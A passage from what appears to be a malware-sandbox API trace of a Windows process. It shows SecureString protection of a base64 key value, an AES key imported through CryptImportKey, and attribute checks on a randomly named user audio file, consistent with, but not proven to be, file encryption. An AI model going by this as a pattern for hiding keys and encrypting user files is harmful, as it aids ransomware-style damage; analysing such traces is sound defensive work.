(param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0234.629] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0234.629] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.629] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0234.629] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.629] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0234.629] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0234.629] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.630] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0234.630] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.630] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0234.630] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0234.630] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.630] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0234.630] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.630] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0234.630] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0234.630] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.630] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0234.630] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.630] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.631] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.631] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.631] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0234.631] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.631] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0234.631] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.631] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0234.631] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0234.631] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.631] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0234.631] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.631] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0234.631] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0234.632] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.632] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0234.632] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.632] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0234.632] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0234.632] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.632] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0234.632] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.632] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0234.632] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0234.632] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.632] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0234.632] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.632] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0234.632] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0234.633] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.633] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0234.633] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.633] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0234.633] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0234.633] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.633] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0234.633] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.633] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0234.633] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0234.633] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.633] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0234.633] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.634] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.634] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.634] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.634] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0234.634] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.634] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0234.634] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.634] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0234.634] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0234.634] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.634] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0234.634] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.635] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0234.635] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0234.635] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.635] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0234.635] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.635] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0234.635] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0234.635] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.635] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0234.635] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.635] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0234.635] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0234.635] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.635] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0234.635] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.636] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0234.636] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0234.636] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.636] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0234.636] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.636] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0234.636] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0234.636] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.636] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0234.636] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.636] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0234.636] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0234.636] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.636] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0234.636] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.637] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0234.637] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0234.637] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0234.637] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0234.637] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.637] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0234.637] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0234.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0234.638] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.638] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0234.638] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0234.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0234.638] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.638] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0234.638] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0234.639] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0234.639] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.639] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0234.639] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.639] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0234.639] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0234.639] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.639] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0234.639] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0234.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0234.640] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.640] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0234.640] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0234.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0234.640] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.640] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0234.640] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0234.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0234.640] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.641] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0234.641] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0234.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0234.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0234.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0234.641] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.642] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0234.642] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0234.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0234.642] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.642] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0234.642] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0234.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0234.642] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.642] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0234.642] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0234.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0234.643] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.643] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0234.643] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.643] EtwEventActivityIdControl () returned 0x0 [0234.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0234.643] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.643] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0234.643] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0234.645] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d430) returned 1 [0234.647] CryptImportKey (in: hProv=0x5c4d430, pbData=0x246c194*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c994e0) returned 1 [0234.647] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.647] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.647] EtwEventActivityIdControl () returned 0x0 [0234.647] EtwEventActivityIdControl () returned 0x0 [0234.647] EtwEventActivityIdControl () returned 0x0 [0234.654] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav")) returned 0x20 [0234.681] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav")) 